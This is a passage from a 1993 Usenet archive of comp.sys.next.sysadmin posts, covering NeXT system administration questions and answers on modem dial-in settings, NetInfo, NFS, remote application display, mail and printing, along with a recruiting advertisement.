S00:000 S02:043 S06:002 S07:050 S08:002 S09:006 S10:014 S11:095 S12:050
S18:000
S23:059 S25:005 S26:001 S36:007 S37:000 S38:020 S40:087 S46:138 S48:007
S95:000
What happens is that when I dial in (at 2400 baud; I don't have
access to a faster modem) I get connected and the Supra connects
at the correct speed (ie CONNECT 2400, the LED display confirms
it also) but I get garbage on my screen that looks typical of
a connection at the wrong speed.
I've been experimenting with different possible solutions for hours
so I don't think I've overlooked anything blatantly obvious, but
who knows. BTW, I have informed init about my changes to
/etc/ttys (kill -HUP 1).
I'd really like that FAQ and, even more, I'd like to hear from
Supra owners who've done this successfully.
Best regards,
Pred Bundalo
Illinois Institute of Technology
Newsgroups: comp.sys.next.sysadmin
From: sam@rabbit (sam)
Subject: Wanted: Systemhouse seeks 20 NeXT Engineers
Message-ID: <C4qBwt.9EG@ny.shl.com>
Sender: usenet@ny.shl.com (Net News)
Organization: SHL Systemhouse Inc.
Date: Wed, 31 Mar 1993 01:24:28 GMT
Systemhouse, a $750 million Canadian firm, is recognized as the
industry leader in client/server technology. Systemhouse employs
over 4,000 people worldwide and maintains a large heterogeneous
network of workstations including more than 100 NeXT machines.
We are putting together a major effort to have the best NeXT
expertise available. Since November we have hired a core group in
New York and Boulder, by September we should be up to a staff of 100.
We are executing the ideas that others are only talking about -
Reusable Object Library - Standard Certification of Objects -
Distributed Development - etc. Furthermore we are establishing an
Object Technology Center(OTC) for applied Object Oriented
methodologies and development techniques.
The OTC in Boulder, Colorado, is a research and development facility
exploring the cutting edge of the relatively new object technology.
The charter of the Center is two-fold: to explore and understand all
hardware and software related to the object-oriented development
industry; and to establish itself as a focal point where companies in
diverse verticals markets can join together to leverage OTC's
research and experience.
Leading the Center is Vince Jordan, recently of WilTel Advanced
Technology Center and recognized in the NeXT community as a
pacesetter in the object-oriented development revolution. With
WilTel's blessing an participation in the Center, Vince, and a few
WilTel engineers, form the core team in this new effort.
We need bright, enthusiastic experienced people!!!
The following 20 immediate opportunities exist in various
U.S. locations:
8 - Object Oriented Programmers
* 2+ years Object Oriented Programming (C++/Objective C)
* 2+ years database design and database applications
* 5 years UNIX/C application development
* 2+ years RDBMS (SYBASE preferred)
* 1+ years NeXTSTEP applications development
* AppKit, DBKit, NeXTSTEP 3.0, OOD
* GUI and Porting experience
5 - Senior Applications Development Engineers
* 5-7 years UNIX/C applications development
* Financial trading applications
* 1+ years NeXT/NeXTSTEP/AppKit/DBKit/Objective C
* Sun, SYBASE/C++ a plus
5 - Software Engineers
* NeXT/UNIX application software development
* Strong NeXTSTEP, AppKit, Interface Builder, DBKit
* High level design, rapid prototyping in NeXT
* Strong Objective C or C++
* 3 to 5 years experience
2 - Database Specialists
* 3+ years database design and database applications
development (ORACLE/SYBASE preferred)
* 3 years UNIX/C application development
* 3 years RDBMS experience using an SQL-based RDBMS
* 1+ year NeXTSTEP applications a plus
* AppKit, DBKit, NeXTSTEP 3.0, OOD, Objective C a plus
For more information about these exciting opportunities, call or
send your resume to:
Sally Ann Martins - Manager, NeXT Recruiting
Systemhouse Inc.
885 Third Avenue, 25th Floor
New York, New York, U.S.A. 10022-4834
Telephone: 212-303-5500
Fax: 212-303-5595
E-Mail: sam@ny.shl.com
More positions available soon!!
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: jblue@ocotillo.mitre.org (Jason D. Blue)
Subject: Re: Where is "Using Icon.app with NeXTSTEP 3.0"?
Message-ID: <1993Mar31.154329.15904@linus.mitre.org>
Sender: news@linus.mitre.org (News Service)
Organization: The MITRE Corporation
References: <1993Mar30.184734.16955@mnemosyne.cs.du.edu>
Distribution: usa
Date: Wed, 31 Mar 1993 15:43:29 GMT
Thank you all who have provided me with the information. For those
still looking for it, you can find the document at
Sonata.cc.purdue.edu, in /pub/next/submissions.
Last time I am going to use the Index of an archive to perform
searches on the archive :) Man, it must have really been out of date.
Jason
From: rugger@ccwf.cc.utexas.edu (Pam Miller)
Newsgroups: comp.admin.policy,comp.arch,comp.os.misc,comp.os.mach,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.sun.admin,comp.unix.aix,comp.unix.admin,comp.unix.admin,comp.sys.hp,comp.sys.dec,comp.sys.sun.misc,comp.unix.aux,comp.unix.questions
Subject: Updates and Efixes
Date: 31 Mar 1993 16:13:18 GMT
Organization: The University of Texas at Austin, Austin TX
Distribution: world
Message-ID: <1pcfuuINN322@geraldo.cc.utexas.edu>
Originator: rugger@sleepy.cc.utexas.edu
Hi All,
I was hoping to get some input on a boring but important
area in computers. If you could design or have input on the
update and emergency fix process for your system, what would
you like? What would you dislike? Everyone wishes that their OS
was shipped bugfree, but this is the real world. What I mean by
updates is a system refresh, most vendors periodically send out
updates to fix known bugs with their OS. By emergency fixes I mean
the situation where you have a critical problem with your OS and
your Vendor sends you a fix for that single problem.
What systems do this well? Why do you like them. What systems do this
in a way you dislike. What Platforms do this well. What Platforms
don't do this well. Give me your wish list...
Any and all input is greatly appreciated. If you get a few minutes,
think about this and email me your thoughts. I am especially interested
in what Vendors/Platforms do this well and which ones don't...please
give me your input. If you know of any good articles on the subject,
please point me to them. Thanks!
--
Pam Miller, Graduate Student, Social Work, UT at Austin
rugger@ccwf.cc.utexas.edu
Newsgroups: comp.sys.next.sysadmin
From: gerben@rna.indiv.nluug.nl
Subject: Re: POSTGRES DBMS on NeXT (will be available)
Message-ID: <1993Mar31.170925.12001@rna.indiv.nluug.nl>
Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda)
Organization: G.R.O.S.S.
References: <C4pvoC.FuJ@ns1.nodak.edu>
Date: Wed, 31 Mar 1993 17:09:25 GMT
In article <C4pvoC.FuJ@ns1.nodak.edu> goli@plains (Venkata Nagarjuna Rao Goli)
writes:
>
> Hello Friends,
> is there any body who installed POSTGRES database management
> system on NeXT machines? I tried to install it on my NeXT but came to know
> that POSTGRES needs shared memory and NeXT don't support that. Do you know
> how to fix this problem. I have Release 2.0 on my NeXT. Please email me.
>
> My problem is that I need to write the following lines, to support
> the shared memory for POSTGRES, in the /usr/sys/conf or kernel configuration
> file to install POSTGRES. What do you suggest me to do??
>
> In the POSTGRES manual they suggested to add these lines for a sun
> sparc kernel configuration file.
>
> options IPCMESSAGE
> options IPCSEMAPHORE
> options IPCSHMEM
> options EMOREIPCS
>
> These are all for the System V IPC ... facility. What are the comatibles
> in NeXT???
>
> Thanks in advance,
> (GOLI)
There is more than that. There are compiler issues. There is also dynamic
loading to consider. We are currently working on it. Expect the result within a
couple of weeks. (We were almost finished with porting postgres v3.0 when we
discovered the release of postgres v4.1).
--Gerben
--
Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539
"If you don't know where you are going, any road will
take you there." From the Talmud(?), rephrased in
Lewis Carroll, "Alice in Wonderland".
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: asd@mace.cc.purdue.edu (Doug McClure)
Subject: Looking for help using UUCP (and setting up)
Message-ID: <asd.733603291@mace.cc.purdue.edu>
Sender: news@mentor.cc.purdue.edu (USENET News)
Organization: Purdue University
Date: Wed, 31 Mar 1993 18:41:31 GMT
I'm going to be setting up a UUCP connection for my machine this week.
I have the NeXT documentation on it, but I'm wondering if there is
some better docs on it out there. I've heard enough horror stories
about trying to get UUCP set-up. Is there any NeXT utilites for
dealing with UUCP stuff?
Please mail me back by Firday morning. This account goes away Friday
evening.
Thanks!
-dsm
Newsgroups: comp.sys.next.sysadmin
From: flog@open.ch (Florian Gutzwiller)
Subject: FAQ? Who compiled pcnfsd2 ?
Message-ID: <1993Apr1.002812.23056@bernina.ethz.ch>
Sender: news@bernina.ethz.ch (USENET News System)
Organization: Swiss Federal Institute of Technology (ETH), Zurich, CH
Date: Thu, 1 Apr 1993 00:28:12 GMT
Can anbody comment on pcnfsd2 for NeXTSTEP3.0?
Thanks
--
Florian Gutzwiller Tel: +41 61 262 05 10, Fax: +41 61 262 05 10
Open Systems AG flog@Open.CH
Basel, Switzerland S=gutzwiller;O=open;P=EUnet=A=EUnet;C=CH
From: upbundal@uxa.ecn.bgu.edu (Pred Bundalo)
Newsgroups: comp.sys.next.sysadmin
Subject: SOLVED: Dial-in, Supra V.32bis, RTS/CTS.
Date: 1 Apr 1993 02:12:53 -0600
Organization: Educational Computing Network
Distribution: world
Message-ID: <1pe865$f5b@uxa.ecn.bgu.edu>
References: <1pbi7u$ig0@uxa.ecn.bgu.edu>
>I recently bought a used NeXTstation for home use. I need to set it up
>for dial-in access at variable speeds from 2400bps up through the
>maximum that the '040 box will handle. This is 38400bps from what I
>gather.
First, many thanks to everyone who spent the time to help me out. Special
thanks to my fellow Supra owner Bill Thorson who sent me all of his config
files.
The problem was in the /etc/gettytab file. NeXT ships their computers
to default to 7 data bits, even parity, and 1 stop bit. All I had to
do (after all those hours of tinkering: grrrr) was change the default
to 8N1. Note, the important part is to set 8 data bits. I had tried
setting the parity to none before posting my original message and,
obviously, it wasn't enough. It was the combination (and a total of
10 bits being sent) that made it all work. For any, and all, that are
having problems with dial in, change/make sure your /etc/gettytab file
has this for the default (template) case:
default:\
:p8:zp:ap:im=\r\n\r\n\r\n\r\nNeXT Mach (%h) (%t)\r\r\n\r:\
:er=\177:kl=^U:in=^C:lm=\r\nlogin\72 :sp#9600:
The "p8" says to use 8 data bits, and the "zp" means "zero parity". You
need both of these.
To anyone else having trouble with this, feel free to send me mail.
I've become an authority on the subject.
Cheers and best regards,
Pred Bundalo
Illinois Institute of Technology (pred@iitmax.acc.iit.edu)
Newsgroups: comp.sys.next.sysadmin
From: phy070@aixrs0.hrz.uni-essen.de (H.-R. Oberhage)
Subject: Init-file console login
Summary: What is the console login initialization file, if any?
Sender: newsadm@aixrs0.hrz.uni-essen.de
Message-ID: <1993Apr01.081626.29969@aixrs0.hrz.uni-essen.de>
Date: Thu, 01 Apr 1993 08:16:26 GMT
Organization: Uni-Essen
Keywords: shell console .login .cshrc .profile
Hello,
sorry if the answer to the following problem is in the NeXTstep documents,
but we didn't find it:
On every conventional UNIX-machine, an initialization file is executed on
login for the user(!) depending on the shell being .profile, .login (.cshrc),
kshrc and the like in the users $HOME-directory. This is also true, when
logging into a NeXTstation (NS v.3.0 but I think it's version independent)
via telnet, rlogin and the like.
However, none of these user init files seems to get executed when you are
logging on at the console. Now we want to have some user-specific environ-
ment variables set (e.g.), especially TEX...-variables to have TEX search
user-directories too after launching TeXview by clicking on the symbols or
using 'services'.
How can this be done? Is there a special .whatever-file to do it? What is
its name? Or should the conventional files (see above) work, then something
seems broken for us! (This could very well be, as we are using NIS and
netstat (e.g.) makes the machine hang as soon as you try a netstat -f inet
(e.g.) on a machine running NIS, whereas it works fine without (under
netinfo).) Anyway, an answer or even better an explanation would be welcome.
Thanks,
Ruediger Oberhage
E-Mail: phy070@vm.hrz.uni-essen.de or
phy070@aixrs0.hrz.uni-essen.de
From: zazula@soliton.physics.arizona.edu (Ralph Zazula)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: PageChain (Re: better FAX support)
Message-ID: <1993Mar30.233808.28314@galileo.physics.arizona.edu>
Date: 30 Mar 93 23:38:08 GMT
References: <1p7jlsINNbrd@disc.coactive.com>
Sender: z@pri.com (Ralph Zazula)
Organization: Pinnacle Research, Inc.
In article <1p7jlsINNbrd@disc.coactive.com> dan@coactive.com (dan hennage) writes:
>
>Does anyone know of software for better FAX support. Specifically I'd like to
>be able to:
>1) Combine multiple documents from a single application or from multiple
>applications into a single FAX.
>2) Save FAXes (or portions of FAXes) in Encapsulated PostScript files.
>
Well, we can definitely help with #1 above. Our "PageChain" application
allows you to combine multiple files to create a composite PostScript document
that can be printed or FAXed. You can "chain together" RTFD, RTF, ASCII, TIFF,
FAX and PS files.
If you'd like more info on PageChain, or would like a demo, please drop
a note to "pagechain@pri.com".
NOTE: do not reply to the "soliton" address in this message, I won't see
your wonderful mail... Please send to "zazula@pri.com" instead.
Ralph
---
Ralph Zazula
Pinnacle Research, Inc.
zazula@pri.com
(602)529-1135
Newsgroups: comp.sys.next.sysadmin
From: alberto@parsec.mixcom.com (Alberto Ricart)
Subject: !@#$#$% Recursive NFS paths on main machines
Message-ID: <1993Mar31.225106.862@parsec.mixcom.com>
Organization: SmartSoft, Inc.
Date: Wed, 31 Mar 1993 22:51:06 GMT
Netland,
We have a small net, one machine exports home dir., etc.
The machine is not a dedicated server, and when used,
the Net directory, recursively mounts the machine and
a slew of other directories. While this is fine,
the home directories are mounted on /Net/machine/userHome,
I would rather see a less cluttered path.
Is there a way of only showing the exported directories,
just like they show on clients?
--
Manuel Alberto Ricart
alberto@parsec.mixcom.com <NeXTMail Welcome>
Newsgroups: comp.sys.next.sysadmin
From: pom@anke.imsd.uni-mainz.DE (Prof. Dr. Klaus Pommerening)
Subject: Problems with window server (-NXHost)
Message-ID: <4A6BBKEX@minnie.zdv.uni-mainz.de>
Keywords: window server, remote execution, NXHost
Sender: usenet@minnie.zdv.uni-mainz.de (USENET News System)
Organization: Johannes Gutenberg Universitaet Mainz
Date: Thu, 1 Apr 1993 10:50:21 GMT
Recently I tried the `Remote Application Execution' as described in the
`Network and System Administration' manual (NextStep 2.1). It worked well with
some applications. But I found two non-working cases:
1. The application is an app-wrapper. Example:
next2> Molecule.app -NXHost next4
/NextDeveloper/Demos/Molecule.app: Permission denied.
2. The remote host is a NextStep 3.0 system:
next3> MonsterScope -NXHost next4
DPS client library error: PostScript program error, DPSContext 56214
%%[ Error: invalidid; OffendingCommand: nextimage ]%%
An uncaught exception was raised
DPS client library error: PostScript program error, DPSContext 56214
%%[ Error: invalidid; OffendingCommand: setowner ]%%
next3> ImageViewer -NXHost next4
DPS client library error: PostScript program error, DPSContext 32214
%%[ Error: invalidid; OffendingCommand: currentwindowbounds ]%%
An uncaught exception was raised
DPS client library error: PostScript program error, DPSContext 32214
%%[ Error: invalidid; OffendingCommand: currentwindowbounds ]%%
Can somebody explain what's wrong or give me some useful advice? (Yes, I know
setting the public window server is a security risk.)
--
Klaus Pommerening
Institut fuer Medizinische Statistik und Dokumentation
der Johannes-Gutenberg-Universitaet
Obere Zahlbacher Strasse 69, W-6500 Mainz, Germany
From: karthy@dannug.dk (Karsten Thygesen)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: SLIP or PPP - which one to chose?
Message-ID: <KARTHY.93Mar28215339@dannug.dannug.dk>
Date: 28 Mar 93 20:53:39 GMT
Sender: karthy@dannug.dk (Karsten Thygesen)
Distribution: comp
Organization: Dannug - Danish NeXT Users Group
Hi
We, at the Danish NeXT User Group, are going to use either SLIP or PPP
for our internal transfer of both news and mail. In (hopefully) short
time we will be able to get a permanent connection to the InterNet via
either SLIP or PPP. The connection will be between my NeXT and a Sun
work station running on an ordinary phone line.
Which package should we chose to our upcomming network?
We have investigated Transsys slip package, but we won't be able to
run that package at the Sun side, and several people I talk to
recommends PPP between Suns.
I need some practical experience and information about which packages
to look into and which ones to stay away from.
Thanks in advance,
Karsten.
--
Karsten Thygesen I Aalborg, Denmark
karthy@dannug.dk (NeXT-Mail welcome) I Voice: +45 98 12 42 59
President, Danish NeXT Users Group I Fax: +45 98 12 44 81
Newsgroups: comp.sys.next.sysadmin,comp.mail.sendmail
From: wampner@acme.ucf.edu (Eric Wampner)
Subject: SMail and NeXT 2.1
Message-ID: <1993Apr1.143233.29809@cs.ucf.edu>
Summary: help find solution
Sender: news@cs.ucf.edu (News system)
Organization: IST, University of Central Florida, Orlando
Date: Thu, 1 Apr 1993 14:32:33 GMT
I downloaded and compiled the SMail 3.1.25 that I found on, (I think)
sonata.cc.purdue.edu. It may have not been that site, but it was a
NeXT specific file area.
I figured that this one would have been (possibly) slightly modified
to do something NeXT-ish, like consult NextInfo rather than NIS/YP
First, am I right? Or can I get the latest binary with that someone
has already integrated NeXT code into?
Second: I have a strange problem that it intermittently stops taking
mail with sendmail running in the daemon mode (-bd -q1h).
It won't recognize any user names, although aliases and uucp routing
past the machine do work.
It works fine for days on end, and then I have to reboot to get it to work
again. I really like its configuration over sendmail, and would hate to
have to go back, but this machine isn't mine, and mail is an important
function.
Please email any suggestions to
Eric Wampner
wampner@acme.ucf.edu (NeXT mail accepted)
wampner@cs.ucf.edu
From: daugher@cs.tamu.edu(Walter C. Daugherity)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: New 'whois' server
Date: 1 Apr 1993 17:34:20 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1pf92sINNa5u@tamsun.tamu.edu>
Keywords: whois
The 'whois' command points to an obsolete server. Effective today, April 1,
1993, it should point to whois.internic.net. Until NeXT fixes this, a
workaround is to put
alias whois 'whois -h whois.internic.net'
in your .cshrc file.
P.S. This is not an April Fool's joke! Try 'whois tamu.edu'.
--
Walter C. Daugherity Internet, NeXTmail: daugher@cs.tamu.edu
Texas A & M University uucp: uunet!cs.tamu.edu!daugher
College Station, TX 77843-3112 BITNET: DAUGHER@TAMVENUS
---Not an official document of Texas A&M---
From: A4422DAE@vm.univie.ac.at (Konrad Neuwirth)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP! Machine won't display loginwindow!
Date: Thu, 01 Apr 93 20:22:50 MEZ
Organization: University of Vienna
Message-ID: <16BA311E9A.A4422DAE@vm.univie.ac.at>
This iM,?tQ}rgent call for help. I have the following problem
with my NeXTcube:
A few days ago, my 1.5 gigabyte harddisk crashed, taking some
parts of the operating system with it (/NextApps and /NextLibrary
to be specific, along with /LocalApps and /LocalLibrary). All the
other parts of the operating system still reside on another 350meg
disk that is internal. Of course, as those things always happen, my
backup device is also gone for repairs right now, so I have no means
of getting to my last few tapes.
Anyway, I installed another Maxtor 660meg drive I pulled of one
of the other machines around here and formatted it. I installed it
and copied the /Next directories right off the CDROM to the new disk.
But now, everytime I boot the machine, I hit major problems. All the
configuration happens OK and all the daemons come up, the machine
is completely accessible from the outside (with NFS, telnet and ftp).
But I get no login window on the console. Inspection of the /etc/messages
files reveals about 1200 messages complaining that _NXAudioOut,
_NXAudioIn, and Sound services have already registered. I tried to scan
all the documentation I have (of course, I can't read the digital
librarian info right now because I can't access digital librarian
because I can't log on to the NeXTSTEP interface), but I found no
pointers to where that registration happens.
Things get more cryptic further down. The root entries for /NextApps,
/NextLibrary, /LocalApps, and /LocalLibrary are in fact symbolic links
to directories of the same name on the disk /ext. When I mount the
CD ROM as the /ext disk, the system boots up all right, although
the time, date and other system settings are not correct. When I
mount the external disk as /ext (and it is supposed to contain
a 1:1 copy of the directories on the cd), the system does not boot
and continues to complain about the three services.
Next, I reinstalled Nextstep 3.0 and tried again -- with the
same result, the machine never showed a logon window and i lost
my working netinfo database (of course, I do have a backup copy
somewhere -- on tape). Then, I scanned all directories for services
entries, killing the things in /.NeXT, but that changed nothing
either.
I am rather desperate. Sam Goldberger, who I baught the machine
with, couldn't help me either, and I need the cube to get some work
done!
Please, can anybody tell me what the problem is? I'd like to be
able to get some work done again!
thanks,
//konrad
who is rather desperate. really.
Newsgroups: comp.sys.next.sysadmin
From: jland@lodge.nwu.edu (John Landwehr)
Subject: Re: SLIP or PPP - which one to chose?
Message-ID: <1993Apr1.184948.3556@news.acns.nwu.edu>
Sender: usenet@news.acns.nwu.edu (Usenet on news.acns)
Organization: Northwestern University, Evanston, Illinois, USA
References: <KARTHY.93Mar28215339@dannug.dannug.dk>
Distribution: comp
Date: Thu, 1 Apr 1993 18:49:48 GMT
In article <KARTHY.93Mar28215339@dannug.dannug.dk> karthy@dannug.dk (Karsten
Thygesen) writes:
>
> Which package should we chose to our upcomming network?
>
> I need some practical experience and information about which packages
> to look into and which ones to stay away from.
> --
> Karsten Thygesen I Aalborg, Denmark
> karthy@dannug.dk (NeXT-Mail welcome) I Voice: +45 98 12 42 59
> President, Danish NeXT Users Group I Fax: +45 98 12 44 81
Check out the paper I wrote on SLIP and PPP. It is at the archive sites as
SLIP_PPP_Paper.ps or something very similar. I know it is at
sonata.cc.purdue.edu and cs.orst.edu. Check the documents directories.
Also, there is an article in the NeXT Support Bulletin comparing the two, as
well as an article I wrote in the Summer 92 issue called "Taking your network
home..."
--
John Landwehr
NeXT Campus Consultant, Chicago
708-864-7811
jland@nwu.edu
Newsgroups: comp.sys.next.sysadmin
From: "Steve Hayman" <sahayman@cs.indiana.edu>
Subject: Re: Problems with window server (-NXHost)
Message-ID: <1993Apr1.154456.3899@news.cs.indiana.edu>
Keywords: window server, remote execution, NXHost
Organization: Objectario
References: <4A6BBKEX@minnie.zdv.uni-mainz.de>
Date: Thu, 1 Apr 1993 15:44:43 -0500
You might be interested to know that the NS/Intel beta release come with
an unsupported program called "OpenSesame", which facilitates this -NXHost
remote-launch-but-local-display stuff. What you do is select an application
(or file) in the File Viewer, and go to Services -> OpenSesame -> Open
on Another Host. OpenSesame will prompt you for a remote host and will take
care of doing "rsh remote-host /Appropriate/Application -NXHost thishost"
for you. Handy if you work on a 486 with no interesting apps on it, and a
NeXTstation full of interesting stuff.
OpenSesame can also open things as root - handy for installing a .pkg without
having to log off and on again.
I hope it will be included in the real Intel release, and with 3.1 for
Motorola machines too. (note that the app on the beta floppy is actually a
fat binary and works as is on 3.0 NeXTs but you have to do a small
service hack to get the Open as Root service to work right in 3.0.)
(Disclaimer: I'm plugging this because I'm biased, I wrote the first
version of OpenSesame.)
Regards,
Steve
shayman%objectar@uunet.ca
Newsgroups: comp.sys.next.sysadmin
From: ried@northstar.com (A Ried Thiel)
Subject: fax Cover Sheet
Message-ID: <C4tKE8.DxK@northstar.com>
Sender: usenet@northstar.com (usenet)
Organization: NorthStar Technologies, Inc.
Distribution: usa
Date: Thu, 1 Apr 1993 19:20:31 GMT
Hello
I am trying to modify the Cover sheet for faxes. I would like to know if
there is any documentation. I know how to basic things but I would like
to create a new form so that the phone number of the person I am calling
is automatically put on the cover sheet.
Is this possible? If so how? Also I would like to format the date into a
more standard format. Is this possible?
Thanks
---
Ried Thiel NeXTMail ried@northstar.com
NorthStar Technologies, Inc.
15 Maiden Lane Suite 803
New York NY 10038 212-267-4100 X-160
From: shuque@fire.sas.upenn.edu (Shumon Huque)
Newsgroups: comp.sys.next.sysadmin
Subject: mach_init problem
Message-ID: <117521@netnews.upenn.edu>
Date: 2 Apr 93 00:47:42 GMT
Sender: news@netnews.upenn.edu
Organization: University of Pennsylvania
We've been having a problem on our Netinfo server lately. Whenever we try
rebooting, we periodically get strange errors from mach_init and it prevents
me from starting any processes. I can login in to the console, but I can
start no new applications. The console spits out messages:
expr: invalid port(-102)
expr: invalid argument(4)
whenever I try to run a new process.
Looking at /usr/adm/messages I find these error messages:
Apr 1 15:22:04 myserver syslog: Workspace logged in
Apr 1 15:23:21 myserver mach_init[2]: msg_send: invalid port(-102)
I have no idea what is causing this, and I don't know how mach_init works, so
I am at a loss.
It appears to completely disappear on the 2nd or 3rd reboot and everything
works fine from then on until the next time we have to reboot. (the server
remains up for a long time and only needs rebooting when we have a swap file
overflow or an excessive accumulation of those annoying mach-tasks!)
Can anyone tell me what the problem might be?
Thanks,
Shumon Huque
shuque@spectre.sas.upenn.edu
Newsgroups: comp.sys.next.sysadmin
From: pom@anke.imsd.uni-mainz.DE (Prof. Dr. Klaus Pommerening)
Subject: SUMMARY: Problems with window server (-NXHost)
Message-ID: <WF7BB7ZC@minnie.zdv.uni-mainz.de>
Sender: usenet@minnie.zdv.uni-mainz.de (USENET News System)
Organization: Johannes Gutenberg Universitaet Mainz
References: <4A6BBKEX@minnie.zdv.uni-mainz.de>
Date: Fri, 2 Apr 1993 11:19:52 GMT
In article <4A6BBKEX@minnie.zdv.uni-mainz.de> pom@anke.imsd.uni-mainz.DE (Prof.
Dr. Klaus Pommerening) writes:
> Recently I tried the `Remote Application Execution' as described in the
> `Network and System Administration' manual (NextStep 2.1). It worked well
with
> some applications. But I found two non-working cases:
>
> 1. The application is an app-wrapper. Example:
>
> 2. The remote host is a NextStep 3.0 system:
>
I got three answers; thanks mheubi@pws3.itr.ch (Matthias Heubi),
"Steve Hayman" <sahayman@cs.indiana.edu>, BOBCOOK@slac.stanford.edu
Solution to problem 1: Go into the app-wrapper and call the executable
directly, example:
/NextDeveloper/Demos/Molecule.app/Molecule -NXHost next4
Solution to Problem 2: Upgrade the calling host (next4) to NextStep 3.0. There
seems to be no simpler solution.
--
Klaus Pommerening
Institut fuer Medizinische Statistik und Dokumentation
der Johannes-Gutenberg-Universitaet
Obere Zahlbacher Strasse 69, W-6500 Mainz, Germany
From: mb108@cs.city.ac.uk (omo Adelakun Toyin K)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: File transfer: Unix to/from NeXT
Date: 2 Apr 1993 20:01:15 +0100
Organization: Computer Science Dept, City University, London
Distribution: world
Message-ID: <1pi2hrINNqt9@fred.cs.city.ac.uk>
What's the best means of transferring files between a non-networked pair
of systems: a NeXT system and another Un*x box, say an IBM RS/6000? I've
tried tar'ing files to diskette, and the NeXTStation doesn't wanna know!
("invalid device" or "can't open device" - paraphrased.)
I'll deeply appreciate any pointers - especially as the FAQs do not seem
to cover this aspect of interoperability.
Thanx++,
Toyin.
Newsgroups: comp.sys.next.sysadmin
From: zettler@opal.risc.uni-linz.ac.at (Peter Zettler)
Subject: mail & nfs
Message-ID: <1993Apr2.090841.21077@alijku05.edvz.uni-linz.ac.at>
Keywords: reply path, importing fs
Sender: news@alijku05.edvz.uni-linz.ac.at
Organization: UNI-LINZ
Date: Fri, 2 Apr 1993 09:08:41 GMT
Hello NeXT gurus,
maybe you can help me. At least I hope so. We have a small
NeXT LAN (11 NeXTs) connected to the internet. Our netinfo
server is also our mail spool server. We exported the root
directory from the server and import it on any other NeXT.
Unknow users are treated as nobody(-2).
Now the problem. We always get an NFS write error 13 when we
send Email. Does anybody know why?
Then we are using a list server for distriuting email to
groups. If we use the reply (Reply all) option in the send
window we will get always the originator instead of the from
field of the sender. Does anybode know it this is a bug, or
how to solve this problem?
Thanks in advance,
Peter Zettler
From: kwang@data.acs.calpoly.edu (Kevin John Wang)
Newsgroups: comp.sys.next.sysadmin
Subject: NetInfo.help.help.help!
Keywords: netinfo, multiple domains, root password.
Message-ID: <1993Apr03.014012.169144@zeus.calpoly.edu>
Date: 3 Apr 93 01:40:12 GMT
Sender: news@zeus.calpoly.edu
Followup-To: root@data.acs.calpoly.edu
Organization: Cal Poly State University, San Luis Obispo
HELP! Our netinfo domain looks like:
/
/data (the cluster)
/data/machine_name_here
Unfortunately, I've screwed up the root password by copying root's user
folder from /data/data to /data, and now I can no longer change anything
in either the / or the /data domains. does anyone know how to override
the password? I was able to delete root's account in /data, but then the
password in / is used. Because I can't change anything, I can't add users
to our cluster, and, and, and, and...
- kevin Wang
PLEASE email replies immediately!
Newsgroups: comp.sys.next.sysadmin
From: tmurdoch@liberty.uc.wlu.edu (Tim Murdoch)
Subject: login mystery
Message-ID: <1993Apr3.165914.12598@liberty.uc.wlu.edu>
Date: Sat, 3 Apr 1993 16:59:14 GMT
Distribution: local, world
Organization: Washington & Lee University
Here is a mysterious problem. A user on our network cannot log in to his
account. When he tries, the backgound to the workspace appears, but then
he is immediately logged out (no dock, no nuthin'). We've looked at the
usual files in his home directory (which is visible to other network
users). None of the standard files appear to be corrupt nor do any of the
set variables in the default database.
We're stumped. Any suggestions would be greatly appreciated. Please
respond by email to
murdoch@sage.wlu.edu
Thanks in advance.
--
Tim Murdoch
Assistant Prof. of Math e-mail: tmurdoch@liberty.wlu.edu
Washington and Lee Univ. phone: (703) 463-5045
Lexington VA 24450
Newsgroups: comp.sys.next.sysadmin
From: tabs@netcom.com (Network Account)
Subject: Help - printer down under 3.0
Message-ID: <tabsC4x6qJ.K7p@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Distribution: na
Date: Sat, 3 Apr 1993 18:15:54 GMT
Return-Path: <tabs@netcom.com>
Hi folks:
I have a '040 cube which I recently upgraded to run Next Step 3.0.
But my NeXT printer has stopped working and a panel comes up saying:
"Some or all of the pages in your print request couldn't
be printed"
I have used both enscript and lpr and observed the same symptom.
I looked at the /usr/adm/lpd-errs saw the following error messages:
Apr 1 09:05:37 next1 Server:Local_Printer[230]: Driver class not
set in printer entry
Somehow, the entry must have gotten deleted (I think). How can I set
the driver class? Please email your suggestions. Thanks a lot in
advance.
tabs (tabs@netcom.com)
Control: cancel <1993Apr3.165914.12598@liberty.uc.wlu.edu>
Newsgroups: comp.sys.next.sysadmin
From: tmurdoch@liberty.uc.wlu.edu (Tim Murdoch)
Subject: cancel <1993Apr3.165914.12598@liberty.uc.wlu.edu>
Message-ID: <1993Apr3.184021.19544@liberty.uc.wlu.edu>
Date: Sat, 3 Apr 1993 18:40:21 GMT
Distribution: local, world
Organization: Washington & Lee University
Article cancelled from within tin [v1.1 PL8]
--
Tim Murdoch
Assistant Prof. of Math e-mail: tmurdoch@liberty.wlu.edu
Washington and Lee Univ. phone: (703) 463-5045
Lexington VA 24450
From: bryan@kolsky.tamu.edu (Bryan Milligan)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: How do I sort incoming mail into different mailboxes?
Date: 3 Apr 1993 22:01:03 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1pl1evINN6kq@tamsun.tamu.edu>
Keywords: mail, mailboxes
I would like to be able to sort my incoming mail into
different mailboxes. Specifically, all the mail addressed to
a mailing list of which I am a part needs to go to a different
box. Is this possible? If so, how do I accomplish this task?
Thanks in advance.
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From: heading@signal.dra.hmg.gb (Anthony J.R. Heading)
Newsgroups: comp.sys.next.sysadmin
Subject: compiling perl - a hint
Message-ID: <1pl9guINNb2c@milne.dra.hmg.gb>
Date: 4 Apr 93 00:18:38 GMT
Organization: Defence Research Agency
I've just built perl, and it does a number of things wrongly because
